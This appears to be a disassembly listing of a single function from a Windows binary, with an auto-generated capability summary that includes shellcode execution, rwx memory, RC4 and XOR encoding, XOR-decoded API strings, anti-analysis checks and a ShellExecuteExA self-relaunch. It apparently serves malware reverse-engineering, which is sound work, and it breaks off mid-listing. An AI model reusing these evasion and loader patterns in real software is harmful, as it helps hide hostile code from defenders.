Function at 0x1400317f0
Capabilities:
Allocate or change rwx memory
Check os version
Create process on windows
Encode data using base64
Encode data using xor
Encrypt data using rc4 ksa
Execute shellcode via indirect call
Generate random numbers using a mersenne twister
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x48718]
mov eax, 0x487f0
call fcn.1400a0450
sub rsp, rax
mov rax, qword [0x14010c700]
xor rax, rsp
mov qword [rbp + 0x486e0], rax
mov rax, qword gs:[0x23]
mov ebx, 0x3d68809f
mov r13d, 0x3d48e68f
mov r12d, 0x4d3da464
cmp rax, r12
jne 0x1400318f6
mov rcx, qword gs:[0x24]
xor edx, edx
mov eax, r12d
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x24]
xor edx, edx
mov eax, r13d
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x24]
xor edx, edx
mov eax, ebx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400318d6
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400318d6
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400318f6
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a6b58
int3
mov ecx, r12d
call fcn.140016354
mov rax, qword gs:[0x23]
mov esi, 0x748af5
cmp rax, r12
jne 0x1400319ad
mov rax, qword gs:[0x24]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x24]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x24]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003198d
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003198d
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400319ad
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a6b58
int3
mov rax, qword gs:[0x23]
movabs r15, 0xf652601fe2ce4f18
cmp rax, r12
jne 0x140031a61
mov rax, qword gs:[0x24]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x24]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x24]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140031a41
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140031a41
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140031a61
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a6b58
int3
mov ecx, r12d
call fcn.140030e04
mov rax, qword gs:[0x23]
cmp rax, r12
jne 0x140031b22
mov rcx, qword gs:[0x24]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x24]
xor edx, edx
mov rax, r13
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x24]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140031b02
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140031b02
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140031b22
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a6b58
int3
mov rax, qword gs:[0x23]
cmp rax, r12
jne 0x140031bcc
mov rax, qword gs:[0x24]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x24]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x24]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140031bac
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140031bac
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140031bcc
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a6b58
int3
lea rdx, [0x1400ffa60]
lea rcx, [rbp + 0x998]
call fcn.140015d18
mov rdx, rax
mov ecx, r12d
call fcn.14001b9b4
mov rax, qword gs:[0x23]
cmp rax, r12
jne 0x140031ca3
mov rcx, qword gs:[0x24]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x24]
xor edx, edx
mov rax, r13
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x24]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140031c83
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140031c83
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140031ca3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a6b58
int3
mov rax, qword gs:[0x23]
cmp rax, r12
jne 0x140031d4d
mov rax, qword gs:[0x24]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x24]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x24]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140031d2d
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140031d2d
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140031d4d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a6b58
int3
mov dword [rbp + 0x90], 0xbba7e55d
mov dword [rbp + 0x94], 0xfdad1e50
mov word [rbp + 0x98], 0x9e
xor r14d, r14d
mov edi, r14d
mov esi, 0xd7e3c967
mov qword [rsp + 0x20], rsi
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x90]
lea rcx, [rbp + 0x90]
call fcn.140040f80
xor al, dil
mov byte [rbp + rdi + 0x90], al
inc rdi
cmp rdi, 9
jb 0x140031d75
mov byte [rbp + 0x99], r14b
lea rcx, [rbp + 0x90]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rax, qword gs:[0x23]
cmp rax, r12
mov esi, 0x748af5
jne 0x140031e7b
mov rcx, qword gs:[0x24]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x24]
xor edx, edx
mov rax, r13
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x24]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140031e5b
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140031e5b
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140031e7b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a6b58
int3
mov rax, qword gs:[0x23]
cmp rax, r12
jne 0x140031f25
mov rax, qword gs:[0x24]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x24]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x24]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140031f05
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140031f05
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140031f25
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a6b58
int3
mov dword [rbp + 0x1f0], 0x7ab4a027
mov dword [rbp + 0x1f4], 0xfddbed83
mov dword [rbp + 0x1f8], 0x407358bb
xor eax, eax
mov byte [rbp + 0x1fc], al
mov rdi, r14
mov r15d, 0xd7e3c967
mov qword [rsp + 0x20], r15
mov r9d, recv
mov r8, rdi
mov dl, byte [rbp + rdi + 0x1f0]
lea rcx, [rbp + 0x1f0]
call fcn.140040c20
xor al, dil
mov byte [rbp + rdi + 0x1f0], al
inc rdi
cmp rdi, 0xc
jb 0x140031f54
mov byte [rbp + 0x1fc], r14b
lea rcx, [rbp + 0x1f0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rax, qword gs:[0x23]
cmp rax, r12
movabs r15, 0xf652601fe2ce4f18
jne 0x140032050
mov rax, qword gs:[0x24]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x24]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x24]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140032030
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140032030
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140032050
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a6b58
int3
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
call fcn.140030fbc
test eax, eax
jne 0x1400322f2
mov edi, r14d
mov ebx, 0x104
mov r8d, ebx
xor edx, edx
lea rcx, [rbp + 0x284c0]
call fcn.1400c9cb0
mov r8d, ebx
lea rdx, [rbp + 0x284c0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x140032168
xor edx, edx
lea r8d, [rdx + 0x60]
lea rcx, [rbp + 0xed0]
call fcn.1400c9cb0
mov dword [rbp + 0xec0], reloc.WS2_32.dll_WSASetLastError
mov dword [rbp + 0xec4], 0x400
mov qword [rbp + 0xec8], r14
mov dword [rbp - 0x70], 0xce0124b5
mov word [rbp - 0x6c], 0x33
mov esi, 0xd7e3c967
mov qword [rsp + 0x20], rsi
mov r9d, 5
mov r8, rdi
mov dl, byte [rbp + rdi - 0x70]
lea rcx, [rbp - 0x70]
call fcn.140040f14
xor al, dil
mov byte [rbp + rdi - 0x70], al
inc rdi
cmp rdi, 5
jb 0x1400320d8
mov byte [rbp - 0x6b], r14b
lea rax, [rbp - 0x70]
mov qword [rbp + 0xed0], rax
lea rax, [rbp + 0x284c0]
mov qword [rbp + 0xed8], rax
mov byte [rsp + 0x61], r14b
lea rax, [rsp + 0x61]
mov qword [rbp + 0xee0], rax
mov qword [rbp + 0xee8], r14
mov dword [rbp + 0xef0], 1
mov qword [rbp + 0xef8], r14
lea rcx, [rbp + 0xec0]
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x1400408d1
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
jmp 0x14003216d
mov esi, 0xd7e3c967
mov word [rsp + 0x78], 0xa2
mov qword [rsp + 0x20], rsi
mov r9d, 1
xor r8d, r8d
mov dl, 0xa2
lea rcx, [rsp + 0x78]
call fcn.140040dd4
mov byte [rsp + 0x78], al
mov byte [rsp + 0x79], r14b
mov edx, edi
lea rcx, [rbp + 0x9b8]
call fcn.140030e3c
mov rbx, rax
movdqa xmm0, xmmword [0x140101fe0]
movdqu xmmword [rbp + 0xbf8], xmm0
movdqa xmm1, xmmword [0x140102020]
movdqu xmmword [rbp + 0xc08], xmm1
mov dword [rbp + 0xc18], 0x9deeff68
mov dword [rbp + 0xc1c], 0x5b91d398
mov dword [rbp + 0xc20], 0xd6f60b07
mov word [rbp + 0xc24], 0x43
mov rdi, r14
mov qword [rsp + 0x20], rsi
mov r9d, reloc.WLDAP32.dll_Ordinal_45
mov r8, rdi
mov dl, byte [rbp + rdi + 0xbf8]
lea rcx, [rbp + 0xbf8]
call fcn.140040ea8
xor al, dil
mov byte [rbp + rdi + 0xbf8], al
inc rdi
cmp rdi, 0x2d
jb 0x1400321f2
mov byte [rbp + 0xc25], r14b
mov r8, rbx
lea rdx, [rbp + 0xbf8]
lea rcx, [rbp + 0x9d8]
call fcn.140041ef8
lea r8, [rsp + 0x78]
mov rdx, rax
lea rcx, [rbp + 0x11a8]
call fcn.1400420b8
lea rcx, [rbp + 0x9d8]
call fcn.140041a10
lea rcx, [rbp + 0x9b8]
call fcn.140041a10
movdqa xmm0, xmmword [0x140102170]
movdqu xmmword [rbp + 0x2a8], xmm0
mov word [rbp + 0x2b8], 0x9b
mov rdi, r14
mov qword [rsp + 0x20], rsi
mov r9d, reloc.WS2_32.dll_recvfrom
mov r8, rdi
mov dl, byte [rbp + rdi + 0x2a8]
lea rcx, [rbp + 0x2a8]
call fcn.140040a00
xor al, dil
mov byte [rbp + rdi + 0x2a8], al
inc rdi
cmp rdi, 0x11
jb 0x14003228b
mov byte [rbp + 0x2b9], r14b
lea rcx, [rbp + 0x11a8]
call fcn.140041664
xor r9d, r9d
lea r8, [rbp + 0x2a8]
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.1400a6b58
int3
mov rax, qword gs:[0x23]
cmp rax, r12
jne 0x14003239c
mov rax, qword gs:[0x24]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x24]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x24]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003237c
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003237c
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003239c
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a6b58
int3
call qword [sym.imp.KERNEL32.dll_AllocConsole]
mov rax, qword gs:[0x23]
cmp rax, r12
jne 0x14003245b
mov rcx, qword gs:[0x24]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x24]
xor edx, edx
mov rax, r13
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x24]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003243b
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003243b
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003245b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a6b58
int3
mov rax, qword gs:[0x23]
cmp rax, r12
jne 0x140032505
mov rax, qword gs:[0x24]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x24]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x24]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400324e5
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400324e5
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140032505
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a6b58
int3
mov rax, qword gs:[0x23]
cmp rax, r12
jne 0x1400325af
mov rax, qword gs:[0x24]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x24]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x24]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003258f
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003258f
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400325af
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a6b58
int3
mov rax, qword gs:[0x23]
cmp rax, r12
jne 0x140032668
mov rcx, qword gs:[0x24]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x24]
xor edx, edx
mov rax, r13
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x24]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140032648
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140032648
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140032668
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a6b58
int3
xor ecx, ecx
call fcn.1400a7f24
mov rbx, rax
mov word [rsp + 0x7c], 0xf9
mov esi, 0xd7e3c967
mov qword [rsp + 0x20], rsi
mov r9d, 1
xor r8d, r8d
mov dl, 0xf9
lea rcx, [rsp + 0x7c]
call fcn.140040dd4
mov byte [rsp + 0x7c], al
mov byte [rsp + 0x7d], r14b
mov dword [rbp - 0x60], 0xd8d20ab1
mov word [rbp - 0x5c], 0x3c1f
xor eax, eax
mov byte [rbp - 0x5a], al
mov rdi, r14
mov qword [rsp + 0x20], rsi
mov r9d, 6
mov r8, rdi
mov dl, byte [rbp + rdi - 0x60]
lea rcx, [rbp - 0x60]
call fcn.140040c90
xor al, dil
mov byte [rbp + rdi - 0x60], al
inc rdi
cmp rdi, 6
jb 0x1400326b6
mov byte [rbp - 0x5a], r14b
mov r9, rbx
lea r8, [rsp + 0x7c]
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0xe50]
call fcn.1400ab404
mov rax, qword gs:[0x23]
cmp rax, r12
jne 0x1400327a7
mov rax, qword gs:[0x24]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x24]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x24]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140032787
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140032787
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400327a7
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.1400a6b58
int3
mov rax, qword gs:[0x23]
cmp rax, r12
jne 0x140032862
mov rcx, qword gs:[0x24]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x24]
xor edx, edx
mov rax, r13
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x24]
xor edx, edx
mov eax, 0x3d68809f
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140032842
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140032842
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140032862
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a6b58
int3
mov ecx, 2
call fcn.1400a7f24
mov rbx, rax
mov word [rbp - 0x80], 0xfc
mov esi, 0xd7e3c967
mov qword [rsp + 0x20], rsi
mov r9d, 1
xor r8d, r8d
mov dl, 0xfc
lea rcx, [rbp - 0x80]
call fcn.140040dd4
mov byte [rbp - 0x80], al
mov byte [rbp - 0x7f], r14b
mov dword [rbp - 0x38], 0xcce7e6a2
mov dword [rbp - 0x34], 0x65c4b
mov rdi, r14
mov r13d, 7
mov qword [rsp + 0x20], rsi
mov r9, r13
mov r8, rdi
mov dl, byte [rbp + rdi - 0x38]
lea rcx, [rbp - 0x38]
call fcn.140040e3c
xor al, dil
mov byte [rbp + rdi - 0x38], al
inc rdi
cmp rdi, r13
jb 0x1400328b1
mov byte [rbp - 0x31], r14b
mov r9, rbx
lea r8, [rbp - 0x80]
lea rdx, [rbp - 0x38]
lea rcx, [rbp + 0xe50]
call fcn.1400ab404
mov rax, qword gs:[0x23]
cmp rax, r12
mov esi, 0x748af5
jne 0x1400329a2
mov rax, qword gs:[0x24]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x24]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x24]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140032982
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140032982
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400329a2
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.1400a6b58
int3
mov rax, qword gs:[0x23]
cmp rax, r12
jne 0x140032a4c
mov rax, qword gs:[0x24]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x24]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x24]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140032a2c
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140032a2c
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140032a4c
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a6b58
int3
mov ecx, 1
call fcn.1400a7f24
mov rbx, rax
mov word [rbp - 0x7c], 0xfc
mov esi, 0xd7e3c967
mov qword [rsp + 0x20], rsi
mov r9d, 1
xor r8d, r8d
mov dl, 0xfc
lea rcx, [rbp - 0x7c]
call fcn.140040dd4
mov byte [rbp - 0x7c], al
mov byte [rbp - 0x7b], r14b
mov dword [rbp - 0x30], 0xcce7e6a2
mov dword [rbp - 0x2c], 0x65c4b
mov rdi, r14
mov qword [rsp + 0x20], rsi
mov r9, r13
mov r8, rdi
mov dl, byte [rbp + rdi - 0x30]
lea rcx, [rbp - 0x30]
call fcn.140040e3c
xor al, dil
mov byte [rbp + rdi - 0x30], al
inc rdi
cmp rdi, r13
jb 0x140032a95
mov byte [rbp - 0x29], r14b
mov r9, rbx
lea r8, [rbp - 0x7c]
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0xe50]
call fcn.1400ab404
mov rax, qword gs:[0x23]
cmp rax, r12
mov esi, 0x748af5
mov ebx, 0x3d48e68f
jne 0x140032b9b
mov rcx, qword gs:[0x24]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x24]
xor edx, edx
mov eax, ebx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x24]
xor edx, edx
mov eax, 0x3d68809f
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140032b7b
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140032b7b
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140032b9b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a6b58
int3
mov rax, qword gs:[0x23]
cmp rax, r12
jne 0x140032c45
mov rax, qword gs:[0x24]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x24]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x24]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140032c25
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140032c25
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140032c45
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a6b58
int3
movdqa xmm0, xmmword [0x140101eb0]
movdqu xmmword [rbp + 0xd18], xmm0
movdqa xmm1, xmmword [0x140102190]
movdqu xmmword [rbp + 0xd28], xmm1
movdqa xmm0, xmmword [0x1401020c0]
movdqu xmmword [rbp + 0xd38], xmm0
mov dword [rbp + 0xd48], 0x66ca91e3
mov dword [rbp + 0xd4c], 0x7fd1d544
mov dword [rbp + 0xd50], 0x2e631f46
mov word [rbp + 0xd54], 0x75a2
xor eax, eax
mov byte [rbp + 0xd56], al
mov rdi, r14
mov esi, 0xd7e3c967
mov qword [rsp + 0x20], rsi
mov r9d, 0x3e
mov r8, rdi
mov dl, byte [rbp + rdi + 0xd18]
lea rcx, [rbp + 0xd18]
call fcn.140040d68
xor al, dil
mov byte [rbp + rdi + 0xd18], al
inc rdi
cmp rdi, 0x3e
jb 0x140032cac
mov byte [rbp + 0xd56], r14b
lea rcx, [rbp + 0xd18]
call fcn.140015bbc
mov rax, qword gs:[0x23]
cmp rax, r12
jne 0x140032d9d
mov rax, qword gs:[0x24]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x24]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x24]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140032d7d
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140032d7d
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140032d9d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a6b58
int3
mov rax, qword gs:[0x23]
cmp rax, r12
jne 0x140032e58
mov rcx, qword gs:[0x24]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x24]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x24]
xor edx, edx
mov eax, 0x3d68809f
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x24]
